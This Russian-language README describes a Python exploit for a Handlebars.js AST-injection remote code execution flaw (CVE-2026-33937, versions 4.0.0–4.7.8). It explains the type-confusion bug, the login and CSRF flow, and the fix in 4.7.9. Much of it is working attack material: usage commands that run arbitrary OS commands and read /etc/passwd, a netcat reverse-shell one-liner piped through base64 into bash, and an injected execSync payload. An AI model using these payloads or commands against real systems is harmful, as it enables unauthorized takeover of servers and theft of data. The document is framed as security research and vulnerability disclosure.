
Python POC, эксплойт для Handlebars.js AST Injection RCE. Затронуты версии Handlebars.js с 4.0.0 по 4.7.8. Оценка CVSS: 9.8 Critical.
Уязвимы версии Handlebars.js с 4.0.0 по 4.7.8. Оценка CVSS: 9.8 — критическая.
CVE-2026-33937 — это уязвимость, связанная с путаницей типов (type confusion) в Handlebars.js. Функция Handlebars.compile() принимает на вход как строку шаблона, так и предварительно разобранный AST-объект. Когда атакующий передаёт специально сформированный AST-объект, посетитель NumberLiteral компилятора вставляет поле value узла в генерируемое тело JavaScript-функции дословно, без какой-либо санитизации. Вызов render() для полученного результата приводит к выполнению кода, контролируемого атакующим, в рамках процесса Node.js.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
Аргументы
--url — базовый URL цели, например http://hello.veer/ (обязательный)--username — адрес электронной почты для входа (обязательный)--password — пароль для входа (обязательный)--command — команда ОС для выполнения, по умолчанию id (необязательный)Примеры
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
Перед эксплуатацией скрипт выполняет полный вход в систему. Сначала он отправляет GET-запрос на /login, чтобы извлечь скрытый токен _csrf из формы, затем отправляет этот токен вместе с указанными email и паролем в виде POST-запроса с кодированием формы на /login. При успехе сервер возвращает редирект 302 на /dashboard и устанавливает сессионную cookie dz.sid, которая используется во всех последующих запросах.
Свежий CSRF-токен автоматически запрашивается перед каждым POST-запросом, поскольку CSRF-промежуточное ПО (middleware) приложения требует его для каждой операции, изменяющей данные.
Приложение предоставляет маршрут POST /character, который принимает Content-Type: application/json. Этот маршрут создаёт нового персонажа D&D и, когда указан campaign_id, передаёт поле campaign_message напрямую в Handlebars.compile() на сервере:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
Когда тело запроса представляет собой JSON, campaign_message может быть вложенным объектом (AST), а не строкой, что позволяет обойти любую строковую валидацию на уровне формы. Поле campaign_id заставляет сервер сохранять результат рендеринга как сообщение журнала кампании, которое затем можно прочитать по адресу GET /campaign/1 — это даёт атакующему возможность получать вывод команд вне основного канала (out-of-band).
Эксплойт использует NumberLiteral в сочетании с хелпером lookup.
Обычная компиляция {{lookup this 1}} даёт:
env.helpers.lookup(this, 1, {options})
Внедрённое значение NumberLiteral.value заменяет 1 на:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
Генерируемый JavaScript становится:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
Когда вызывается render(), срабатывает execSync(), и его stdout возвращается в качестве значения выражения, которое сохраняется как сообщение кампании.
Команды внутри оборачиваются как /bin/sh -c 'cmd 2>&1', поэтому команды с пробелами, конвейерами (pipe) и перенаправлениями работают корректно, а stderr перехватывается вместе со stdout.
Скрипт записывает количество сообщений кампании перед отправкой полезной нагрузки. После POST-запроса он снова запрашивает /campaign/1 и берёт срез messages[before_count:], чтобы изолировать только что добавленную запись. Такой подход корректно обрабатывает случаи, когда та же команда уже выполнялась ранее, поскольку сравнение на основе множества (set) дедуплицировало бы одинаковые выводы и пропустило бы новый результат.
Внутри Handlebars.js, в файле javascript-compiler.js, уязвимый код выглядит так:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
Версия 4.7.9 добавляет проверку типа в точке входа compile(), которая отклоняет любые входные данные, не являющиеся строкой, ещё до того, как будет достигнут генератор кода:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
Этот репозиторий предназначен исключительно для исследований в области безопасности и образовательных целей. Используйте этот эксплойт только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.